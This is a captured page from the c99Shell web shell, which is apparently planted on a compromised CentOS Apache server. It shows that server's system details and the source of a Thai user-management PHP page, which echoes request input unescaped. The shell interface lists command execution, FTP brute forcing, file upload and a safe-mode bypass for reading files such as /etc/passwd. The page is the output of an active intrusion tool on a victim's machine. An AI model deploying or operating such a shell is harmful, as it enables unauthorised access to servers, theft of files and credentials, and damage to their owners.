!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/ums/   drwxr-xr-x
Free 51.22 GB of 127.8 GB (40.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     umShowUser.php (4.83 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
include_once("pagebody.php");
pageHeader();
$pageTitle="รายชื่อผู้ใช้";
?>
<table width=100% class="pageTitleBgColor" align="center">
<tr><td align=center><? echo $pageTitle?></td></tr>
</table>
<!--your code here-------------------------------------------------------------------------->
<br>
<?
include_once("clsUmUser.php");
include_once(
"clsUmWgroup.php");
include_once(
"clsUmGroup.php");
include_once(
"clsUmUserGroup.php");
$oC = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB'], $GLOBALS['USER'], $GLOBALS['PASSWORD']);
$oUs = new umuser($oC);
$oGp = new umGroup($oC);
$oUg = new umusergroup($oC);
$oWg = new umwgroup($oC);

$oGp->RSumgroup();
$aGp = array();
while(
$oGp->GetRecord()){
    
$aGp += array($oGp->GpID=>$oGp->GpNameT);
}
$oGp->Close();

$loginname $_REQUEST['loginname'];
$name $_REQUEST['name'];
$UsWgID $_REQUEST['UsWgID'];
$oUs->SearchByNameWGroup($loginname$name$UsWgID);
?>
<form id='form1' action=umShowUser.php id ='form1' method='POST'>
<table class="TableBodyBgColor" cellspacing=0 cellpadding=0  align=center  border=0>
  <tr  valign="middle" align="center">
   <td ><b>&nbsp;ค้นหา</b>&nbsp;&nbsp;&nbsp;ชื่อ-นามสกุล</td>
   <td><input type="text" name="name" value="<?=$name?>"> </td>
    <td >&nbsp;&nbsp;&nbsp;ชื่อเข้าใช้ระบบ</td>
   <td><input type="text" name="loginname" value="<?=$loginname?>"> </td>
    <td >&nbsp;&nbsp;&nbsp;กลุ่มผู้ใช้</td>
   <td><? echo $oWg->selectHTML("UsWgID"$UsWgID)?> </td>
    <td colspan=4  align=center>&nbsp;&nbsp;<input type=submit value="   ค้นหา   " align=center></td>
 </tr>
</table>
</form>
<?
//set num row per page
$oUs->rowPerPage=($nrpp=="")? 30 $nrpp ;

//if (! session_is_registered ("currpg")){
    //session_register("currpg");

$pg $_GET['pg'];
if (
$pg == "") {
    
$pg 1;
}

$oUs->gotoPage($pg);

//$oTbl = new clsTable(array("#","รหัสผู้ใช้","ชื่อ-สกุล","ชื่อผู้ใช้","กลุ่มผู้ใช้","กลุ่มงาน","ดำเนินการ"));
$oTbl = new clsTable(array("#","รหัสผู้ใช้","ชื่อ-นามสกุล","ชื่อเข้าใช้ระบบ","กลุ่มงาน","ดำเนินการ"));
$oTbl->align="center";
$oTbl->headerBgColor="#dddddd";
$i=$oUs->frRowNum+1;
$j=0;
$j=$oUs->rowPerPage*($pg-1)+1;
while (
$oUs->GetRecord()){
    
$oTbl->rowStart($i%2);
    
//$oTbl->addCell($oUs->UsID ,"center");
    
$oTbl->addCell($j ,"center");
    
$oTbl->addCell($oUs->UsPsCode);
    
$oTbl->addCell($oUs->UsName);
    
$oTbl->addCell($oUs->UsLogin);
    
$j++;
    
//    $oWg->SearchByKey($oUs->UsWgID);
    //    $oWg->GetRecord();
    //$oTbl->addCell($oWg->WgNameT);
    
$ss="";
    
$oUg->RSgroupByUs($oUs->UsID);
    while (
$oUg->GetRecord()){
        
$oGp->SearchByKey($oUg->UgGpID);
        
$oGp->GetRecord();
        
$ss.="<a href=\"umPermission.php?UsID=" $oUs->UsID "&UgGpID=" $oUg->UgGpID "\" title=\"กำหนดสิทธิ์การใช้รายคน\">".$oGp->GpNameT."</a><br>";
    }
    
$oTbl->addCell($ss);
    
/*$s="<a href=\"umEditUser.php?UsID=" . $oUs->UsID . "\"><img src=\"images/edit.gif\" alt=\"แก้ไข\"  border=\"0\"></a>
        <a href='#'  onClick=\"doDelete(document.form1, '$oUs->UsLogin', $oUs->UsID)\" ><img src=\"images/del.gif\" alt=\"ลบ\"  border=\"0\"></a>
        <a href=\"umPermission1.php?UsID=" . $oUs->UsID . "\"><img src=\"images/menu.gif\" alt=\"กำหนดสิทธิ์การใช้รายคน\"  border=\"0\"></a>
        <img src=\"";*/
    
$s="<a href=\"umEditUser.php?UsID=" $oUs->UsID "\"><img src=\"images/edit.gif\" alt=\"แก้ไข\"  border=\"0\"></a>
        <a href='#'  onClick=\"doDelete(document.form1, '$oUs->UsLogin', $oUs->UsID)\" ><img src=\"images/del.gif\" alt=\"ลบ\"  border=\"0\"></a>
        <img src=\""
;
    if (
$oUs->UsActive==1
        
$s.="images/useractive.png\" ";
    else 
        
$s.="images/userlock.gif\" ";
    
$s.="alt=\"set/unset active\"  border=\"0\">";
    
$oTbl->addCell($s,"center");
     
$oTbl->rowEnd();
     
$i++;
}

$oTbl->rowStart(0,$oTbl->footerBgColor);
$oTbl->addCell("&nbsp;","","",5);
$oTbl->addCell("<a href=\"umAddUser.php\">
                <img src=\"images/new.gif\" alt=\"เพิ่มระบบงาน\" border=\"0\"></a>"
,"center");
$oTbl->rowEnd();
$oTbl->rowStart();
$s="";
$mxPage=$oUs->numPages();
for (
$i=1$i<=$mxPage$i++){
    
$s.="<a href=umShowUser.php?pg=$i&nrpp=$nrpp&name=$name&PsDptID=$PsDptID&loginname=$loginname&UsWgID=$UsWgID>";
    if (
$i==$pg)
        
$s.=" <b>$i</b> ";
    else 
        
$s.=" $i ";
    
$s.="</a> ";
    if (
$i 30 ==0$s.="<br>";
}
$oTbl->addCell($s,"center","",6);
$oTbl->rowEnd();
echo 
$oTbl->output();

//echo "<tr class=TableFooterBgColor>";
//echo "<td colspan=\"4\">&nbsp;</td>";
//echo "<td colspan=\"4\" align=\"center\"><a href=\"umAddSystem.php\"><img src=\"images/new.gif\" alt=\"เพิ่มระบบงาน\" border=\"0\"></a></td>";
//echo "</tr>";

////////////////////////
?>
</br>
<!--------------------------------------------------------------------->
<? 
$oUs
->Close();
pageFooter(); 
?>
<!--------------------------------------------------------------------->
<!--put javascript here-->
<script language="javascript">
function doDelete(f,txt,ID){
    if (confirm('ต้องการลบผู้ใช้ ' + ID + ':' + txt +  ' ใช่หรือไม่') ) {
        window.location="processUmUser.php?method=delete&UsID=" +ID;
    }
}

//document.form1.login.focus();
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0067 ]--